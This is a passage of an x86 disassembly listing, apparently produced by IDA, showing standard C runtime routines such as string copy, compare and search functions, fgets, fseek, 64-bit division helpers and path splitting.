					; sub_418C10+F4j
		mov	[edi], al
		inc	edi


loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi


loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50


loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx


loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01


loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax


loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9


loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B


loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A


loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------


loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h


loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	dword_48A014, 16h
		or	eax, 0FFFFFFFFh


loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx


loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx


loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A


loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB


loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A


loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4


loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------


loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC


loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90


loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83


loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl


loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi


loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C


loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DBp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------


loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi


loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50


loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B


loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68


loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86


loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi


loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------


loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------


loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]


loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------


loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx


loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029


loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0


loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi


loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_48A0A8
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE


loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl


loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------


loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------


loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	dword_4397AC, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------


loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162


loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------


loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------


loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232


loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------


loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF


loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi


loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; ___:0040E7A0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------


loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0


loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375


loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_48B561[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi


loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------


loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0


loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi


loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax


loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax


loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4193FA
		and	byte ptr [eax],	0


loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
